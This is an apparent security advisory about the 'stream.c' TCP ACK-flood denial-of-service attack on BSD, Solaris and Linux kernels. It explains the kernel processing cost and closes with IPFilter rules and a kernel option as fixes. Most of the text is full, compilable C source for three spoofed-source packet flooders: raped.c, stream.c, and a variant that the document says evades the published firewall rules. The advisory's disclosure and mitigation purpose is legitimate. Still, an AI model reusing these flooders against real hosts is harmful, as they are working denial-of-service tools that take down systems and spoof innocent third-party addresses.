COMMAND
kernel
SYSTEMS AFFECTED
FreeBSD, Solaris, BSDs
PROBLEM
'The Tree of Life' posted following. He's been informed by an
irc admin that a new exploit is circulating around. It "sends
tcp-established bitstream shit" and makes the "kernel fuck up".
It's called stream.c. The only log provided is this one (Linux):
syslog:Jan 18 12:30:36 x kernel: Kernel panic: Free list empty
Actually, this affects most TCP stacks, including those in Linux,
Solaris, and all of the BSDs. Not tested under NT or Windows, but
guess is that does so there as well. The problem seems to stem
from a worst-case path through the kernel's socket lookup code,
followed by the overhead of generating a RST.
Tim Yardley added following. stream.c mearly floods the host
with ack's coming from random ips with random sequence numbers.
This in itself is not too much of a problem, but rate limiting
should be done to conteract its effect (the same idea as
ICMP_BANDLIM). The attacker specifies the port that they want to
send the acks to, depending on what ports are selected, you will
have different net results. If the port is an open port, then you
will have a longer kernel path to follow before the drop (at least
in freebsd). Therefore, the smart attacker will hit open ports.
Now, speaking specifically in terms of fbsd... this involves
/sys/netinet/tcp_input.c
In there, it will do a hash lookup on each and every packet in the
function in_pcblookup_hash(). The wildcard bit was set by
default, which would cause it to do 2 hash lookups per call, the
reasoning is for connected syns (ie, recieving a syn during a
connected stream already or for open ports). Since the attackers
ack was recieved on something that was not already connected...
fbsd will drop the packet. The problem is how they go about doing
so. The same holds true for all other os's tested.
Again, in fbsd, the hash call returns a null pointer if it doesnt
have a corresponding syn then if it isnt past the icmp_bandlim it
drops with reset otherwise it just drops. The problem is.. if the
attacker hits a port that is listening then one of the hash
lookups will succeed and that means that the packet will not be
immediately dropped, it will be processed a little first. Later
in the code,
if ((tiflags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN) {
that line will cause the ACK attack packet to be dropped after
some processing because it is not a syn packet (it will drop the
packet with a RST). In the meantime, it ate up cpu cycles
(checksums were calculated, hash lookups, and some other misc
things). Overall it doesnt take much cpu time per packet... but
it does take a lot of cpu time compared to a null pointer being
returned on the hash lookup so, when you bombard a host with
enough of these ack packets... it uses too much CPU and that
causes the machine to either exhaust its resources, panic, lag
horribly, and possibly crash in the end.
In the best case scenario, you will experience only the lag of the
flood and the lag of the processing (currently) and then be fine
when the attacker stops, In the worst case, you reboot. Once
you patch it, you deal with a lot less processing time (the drops
are handled without the RST flag when appropriate -- bandlim type
idea). In other words, you go to the drop routine instead of
dropwithrst silencing your response, which decreases your
processing time, the hit on your network, and the effect of the
flood (once a threshold is reached, all those bad packets are
silently dropped and the attack has less of a net effect).
Since this is not as big of a deal as what it was made out to be
and "fixes" exist, below is explanation and code. This was done
independantly, although some of the analysis and reverse
engineering of concept was done by other people. The following
people contributed in some way or another: Brett Glass, Alfred
Perlstein, Warner Losh and Darren Reed.
There are two things below, one is stream.c.. the other is
raped.c. Tim threw together raped.c in about 30 minutes or so
for the independant testing. A while after Tim was done testing,
he was given a copy of stream.c. It seems as if they both have
effects... but they are not substantial (except in odd cases that
Tim couldn't quite explain). These programs are for the sake of
full disclosure, don't abuse them.
-- start raped.c --
/*
* raped.c by Liquid Steel [lst @ efnet -- yardley@uiuc.edu]
* src: this is the old hose.c by prym, modified to suit my purposes
* exploits: the stream.c "problem", not.. i did not have the stream.c source when this was written
* this is just a reverse engineer based on discussion and tcp patches released.
* compile: this is a 5 minute hack, and a 30 minute test prog, treat it as such
* side note, this is obviously only for linux due to the header format.
*/
#include <signal.h>
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
int ports, s, i;
char *dsthost;
unsigned long dst;
unsigned long portarray[255];
void
abort (void)
{
printf (":: exiting...\n\n");
close (s);
exit (0);
}
void
banner (void)
{
printf ("-------------------\n");
printf ("::\n");
printf (":: raped.c by lst\n");
printf ("::\n");
printf ("-------------------\n");
}
void
usage (char *progname)
{
printf ("usage: %s <dst> <ports>\n", progname);
printf ("\t<dst> - destination host\n");
printf ("\t<ports> - ports to flood\n\n");
exit (1);
}
void
parse_args (int argc, char *argv[])
{
dsthost = argv[1];
for (i = 2; i < argc; i++)
{
ports++;
portarray[ports] = atoi (argv[i]);
}
}
unsigned long
resolve_host (char *h)
{
struct hostent *host;
if ((host = gethostbyname (h)) == NULL)
{
printf (":: unknown host %s\n", h);
exit (1);
}
return *(unsigned long *) host->h_addr;
}
/* stolen from ping.c */
unsigned short
in_cksum (u_short * addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
void
send_tcp_segment (struct iphdr *ip, struct tcphdr *tcp, char *data, int dlen)
{
char buf[65536];
struct
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char proto;
unsigned short tcplength;
}
ph;
struct sockaddr_in sin;
ph.saddr = ip->saddr;
ph.daddr = ip->daddr;
ph.mbz = 0;
ph.proto = IPPROTO_TCP;
ph.tcplength = htons (sizeof (*tcp) + dlen);
memcpy (buf, &ph, sizeof (ph));
memcpy (buf + sizeof (ph), tcp, sizeof (*tcp));
memcpy (buf + sizeof (ph) + sizeof (*tcp), data, dlen);
memset (buf + sizeof (ph) + sizeof (*tcp) + dlen, 0, 4);
tcp->check = in_cksum ((u_short *) buf, (sizeof (ph) + sizeof (*tcp) + dlen + 1) & ~1);
memcpy (buf, ip, 4 * ip->ihl);
memcpy (buf + 4 * ip->ihl, tcp, sizeof (*tcp));
memcpy (buf + 4 * ip->ihl + sizeof (*tcp), data, dlen);
memset (buf + 4 * ip->ihl + sizeof (*tcp) + dlen, 0, 4);
ip->check = in_cksum ((u_short *) buf, (4 * ip->ihl + sizeof (*tcp) + dlen + 1) & ~1);
memcpy (buf, ip, 4 * ip->ihl);
sin.sin_family = AF_INET;
sin.sin_port = tcp->dest;
sin.sin_addr.s_addr = ip->daddr;
if (sendto (s, buf, 4 * ip->ihl + sizeof (*tcp) + dlen, 0, &sin, sizeof (sin)) < 0)
{
perror (":: error: sending syn packet");
exit (1);
}
}
int
main (int argc, char *argv[])
{
struct iphdr ip;
struct tcphdr tcp;
struct timeval tv;
struct sockaddr_in sin;
int blah = 1;
signal (SIGINT, (void (*)()) abort);
banner ();
if (argc < 3)
usage (argv[0]);
parse_args (argc, argv);
dst = resolve_host (dsthost);
srand (time (NULL));
printf (":: destination host - %s\n", dsthost);
printf (":: destination port(s)");
for (i = 1; i < ports + 1; i++)
printf (" - %d", portarray[i]);
printf ("\n");
if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror (":: error: can not open socket");
exit (1);
}
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, (char *) &blah, sizeof (blah)) < 0)
{
perror (":: setsockopt");
exit (1);
}
ip.version = 4;
ip.ihl = 5;
ip.tos = 0x8;
ip.frag_off = 0;
ip.ttl = 255;
ip.protocol = IPPROTO_TCP;
ip.check = 0;
ip.daddr = dst;
tcp.res1 = 0;
tcp.fin = 0;
tcp.syn = 0;
tcp.rst = 0;
tcp.psh = 0;
/* make it an ACK packet */
tcp.ack = 1;
tcp.urg = 0;
tcp.res2 = 0;
tcp.urg_ptr = 0;
printf (":: raping...\n");
printf (":: press ^C to end...\n");
for (;;)
{
for (i = 1; i < ports + 1; i++)
{
ip.saddr = rand ();
ip.tot_len = sizeof (ip) + sizeof (tcp);
ip.id = htons (random ());
tcp.source = htons (1024 + rand () % 32000);
tcp.dest = htons (portarray[i]);
/* randomize seq */
tcp.seq = random ();
tcp.doff = sizeof (tcp) / 4;
tcp.window = htons (16384);
/* randomize ack */
tcp.ack_seq = random ();
send_tcp_segment (&ip, &tcp, "", 0);
}
}
return 1;
}
-- end raped.c --
-- start stream.c --
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
struct ip_hdr {
u_int ip_hl:4, /* header length in 32 bit words */
ip_v:4; /* ip version */
u_char ip_tos; /* type of service */
u_short ip_len; /* total packet length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* ip checksum */
u_long saddr, daddr; /* source and dest address */
};
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
u_long th_seq; /* sequence number */
u_long th_ack; /* acknowledgement number */
u_int th_x2:4, /* unused */
th_off:4; /* data offset */
u_char th_flags; /* flags field */
u_short th_win; /* window size */
u_short th_sum; /* tcp checksum */
u_short th_urp; /* urgent pointer */
};
struct tcpopt_hdr {
u_char type; /* type */
u_char len; /* length */
u_short value; /* value */
};
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
u_long saddr, daddr; /* source and dest address */
u_char mbz, ptcl; /* zero and protocol */
u_short tcpl; /* tcp length */
};
struct packet {
struct ip/*_hdr*/ ip;
struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short dstport, pktsize, pps;
u_long dstaddr;
int sock;
void usage(char *progname)
{
fprintf(stderr, "Usage: %s <dstaddr> <dstport> <pktsize> <pps>\n", progname);
fprintf(stderr, " dstaddr - the target we are trying to attack.\n");
fprintf(stderr, " dstport - the port of the target, 0 = random.\n");
fprintf(stderr, " pktsize - the extra size to use. 0 = normal syn.\n");
exit(1);
}
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
u_long lookup(char *hostname)
{
struct hostent *hp;
if ((hp = gethostbyname(hostname)) == NULL) {
fprintf(stderr, "Could not resolve %s.\n", hostname);
exit(1);
}
return *(u_long *)hp->h_addr;
}
void flooder(void)
{
struct timespec ts;
int i;
memset(&packet, 0, sizeof(packet));
ts.tv_sec = 0;
ts.tv_nsec = 10;
packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x08;
packet.ip.ip_id = rand();
packet.ip.ip_len = FIX(sizeof(packet));
packet.ip.ip_off = 0; /* IP_DF? */
packet.ip.ip_ttl = 255;
packet.ip.ip_dst.s_addr = dstaddr;
packet.tcp.th_flags = 0;
packet.tcp.th_win = htons(16384);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 5; /* 5 */
packet.tcp.th_urp = 0;
packet.tcp.th_sport = rand();
packet.tcp.th_dport = dstport?htons(dstport):rand();
/*
packet.opt.type = 0x02;
packet.opt.len = 0x04;
packet.opt.value = htons(1460);
*/
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = dstaddr;
s_in.sin_port = packet.tcp.th_dport;
for(i=0;;++i) {
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
++packet.ip.ip_id;
++packet.tcp.th_sport;
++packet.tcp.th_seq;
if (!dstport)
s_in.sin_port = packet.tcp.th_dport = rand();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
cksum.tcp = packet.tcp;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0)
perror("jess");
}
}
int main(int argc, char *argv[])
{
int on = 1;
printf("stream.c v1.0 - TCP Packet Storm\n");
if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(1);
}
setgid(getgid()); setuid(getuid());
if (argc < 4)
usage(argv[0]);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(1);
}
srand((time(NULL) ^ getpid()) + getppid());
printf("\nResolving IPs..."); fflush(stdout);
dstaddr = lookup(argv[1]);
dstport = atoi(argv[2]);
pktsize = atoi(argv[3]);
printf("Sending..."); fflush(stdout);
flooder();
return 0;
}
-- end stream.c --
You can also in stream.c change this
packet.tcp.th_flags = 0;
to a little different effect:
packet.tcp.th_flags = TH_ACK;
Receiving a packet with no flags is considered an illegal packet
(obviously) and is often dumped, however, as we have seen in the
past.. illegal packets often wreak havoc and often go untested.
There is very little that "raped.c" or "stream.c" show as problems
in the TCP/IP stacks. The true problem lies more in the effects
of the response (caused by the attack). This is the same concept
as the SYN floods of yesteryear, and the same type of thing will
be done to handle it. The main difference is that it will be on
a simpler note because there isn't much need for a "cookie" based
system. One should just throttle the response of the reset
packets which in turn will help stop the storm that you generate.
The main effect of this attack is that you are shooting back RST's
at all the spoofed hosts. Obviously, a lot of these hosts will
not exist and you will get ICMP unreaches (as an example) bounced
back at you. There are other possibilities as well, but unreach
would be the most common. The ones that don't respond back may
send you some packets back as well (depending on if the port was
valid or not and what their firewall rules are). This causes a
nice little storm of packets, in the ideal case.
Note that it is said ideal case in the previous paragraph. This
is not always the observed behavior. It all depends on what is
on the subnet, what type of packets are recieved, what rules and
filters you have setup, and even the duration of the flood. It
has been pointed out several times that the machine will go back
to normal once the attack is stopped, which is exactly why
something like RST_BANDLIM will work.
Below is patched stream.c which sends (SYN packet + 1023 ACK
packets) from random port and source. Ipfw rule and published
ipfilter rule will be unusable against this attack.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
struct ip_hdr {
u_int ip_hl:4, /* header length in 32 bit words */
ip_v:4; /* ip version */
u_char ip_tos; /* type of service */
u_short ip_len; /* total packet length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* ip checksum */
u_long saddr, daddr; /* source and dest address */
};
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
u_long th_seq; /* sequence number */
u_long th_ack; /* acknowledgement number */
u_int th_x2:4, /* unused */
th_off:4; /* data offset */
u_char th_flags; /* flags field */
u_short th_win; /* window size */
u_short th_sum; /* tcp checksum */
u_short th_urp; /* urgent pointer */
};
struct tcpopt_hdr {
u_char type; /* type */
u_char len; /* length */
u_short value; /* value */
};
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
u_long saddr, daddr; /* source and dest address */
u_char mbz, ptcl; /* zero and protocol */
u_short tcpl; /* tcp length */
};
struct packet {
struct ip/*_hdr*/ ip;
struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short dstport, pktsize, pps;
u_long dstaddr;
int sock;
void usage(char *progname)
{
fprintf(stderr, "Usage: %s <dstaddr> <dstport> <pktsize> <pps>\n",
progname);
fprintf(stderr, " dstaddr - the target we are trying to attack.\n");
fprintf(stderr, " dstport - the port of the target, 0 = random.\n");
fprintf(stderr, " pktsize - the extra size to use. 0 = normal syn.\n");
exit(1);
}
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
u_long lookup(char *hostname)
{
struct hostent *hp;
if ((hp = gethostbyname(hostname)) == NULL) {
fprintf(stderr, "Could not resolve %s.\n", hostname);
exit(1);
}
return *(u_long *)hp->h_addr;
}
void flooder(void)
{
struct timespec ts;
int i;
memset(&packet, 0, sizeof(packet));
ts.tv_sec = 0;
ts.tv_nsec = 10;
packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x08;
packet.ip.ip_id = rand();
packet.ip.ip_len = FIX(sizeof(packet));
packet.ip.ip_off = 0; /* IP_DF? */
packet.ip.ip_ttl = 255;
packet.ip.ip_dst.s_addr = random();
packet.tcp.th_flags = 0;
packet.tcp.th_win = htons(16384);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 5; /* 5 */
packet.tcp.th_urp = 0;
packet.tcp.th_dport = dstport?htons(dstport):rand();
/*
packet.opt.type = 0x02;
packet.opt.len = 0x04;
packet.opt.value = htons(1460);
*/
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = dstaddr;
s_in.sin_port = packet.tcp.th_dport;
for(i=0;;++i) {
/*
patched by 3APA3A to send 1 syn packet + 1023 ACK packets.
*/
if( !(i&0x4FF) ) {
packet.tcp.th_sport = rand();
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
packet.tcp.th_flags = TH_SYN;
packet.tcp.th_ack = 0;
}
else {
packet.tcp.th_flags = TH_ACK;
packet.tcp.th_ack = random();
}
/* cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random(); */
++packet.ip.ip_id;
/*++packet.tcp.th_sport*/;
++packet.tcp.th_seq;
if (!dstport)
s_in.sin_port = packet.tcp.th_dport = rand();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
cksum.tcp = packet.tcp;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0)
perror("jess");
}
}
int main(int argc, char *argv[])
{
int on = 1;
printf("stream.c v1.0 - TCP Packet Storm\n");
if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(1);
}
setgid(getgid()); setuid(getuid());
if (argc < 4)
usage(argv[0]);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(1);
}
srand((time(NULL) ^ getpid()) + getppid());
printf("\nResolving IPs..."); fflush(stdout);
dstaddr = lookup(argv[1]);
dstport = atoi(argv[2]);
pktsize = atoi(argv[3]);
printf("Sending..."); fflush(stdout);
flooder();
return 0;
}
SOLUTION
A quick bull session on the FreeBSD Security list has produced a
workaround that works on all of the BSDs and in fact anything that
runs IPFilter. Brett Glass asked Darren Reed, author of IPFilter
(which now comes with all of the BSDs) if it's possible to block
the attack using his firewall code, and he says it is. Darren
writes that the rules are as follows:
pass in all
block in proto tcp all head 100
pass in proto tcp from any to any flags S keep state group 100
(Change group 100 to something else if you're already using it in
your firewall rules) He's tested these rules on a Solaris 7
system and they seem to defeat the DoS. Note that you must be
using Darren's IPFilter package for this to work. IPFW and some
other firewalls do not remember the states of connections; they
therefore can't detect the "established bistream shit" mentioned
above.
The rulesets that were suggested by Darren Reed forgot to include
the outgoing connections. This is the updated rulesets...
block in quick proto tcp from any to any head 100
pass in quick proto tcp from any to any flags S keep state group 100
pass out proto tcp from any to any flags S keep state
pass in all
All BSD users should add Darren's rules as a first-pass fix for
the problem. IPFilter also runs on Linux, but doesn't come with
all distros. To get it, see
http://cheops.anu.edu.au/~avalon/
FreeBSD "unofficial patch" by Alfred Perlstein:
http://www.freebsd.org/~alfred/tcp_fix.diff
Under FreeBSD 3.4 and FreeBSD-Current, you can also turn on
tcp_restrict_rst and it will help some (not an ideal fix, but
it's something that can be done quickly. You will most likely
have to recompile the kernel with the TCP_RESTRICT_RST option
first, because it is not there by default. The kernel still
spends more time than it should figuring out that the ACK is
bogus, but at least once it does, it drops it cold. It does not
try to send a RST (which, in turn, may generate an ICMP
"unreachable" message from the router since the source address is
spoofed). This ought to prevent the system from doing more than
slowing down a bit if it's attacked. Folks who need to rewrite
their firewall rules to move from IPFW to IPFilter can do this
while they're working on the conversion.
It should be noted that FreeBSD 3.4 and -CURRENT both have the
TCP_RESTRICT_RST option. You can turn on tcp_restrict_rst by
recompile your kernel with option TCP_RESTRICT_RST and then turn
on tcp_restrict_rst in /etc/rc.conf.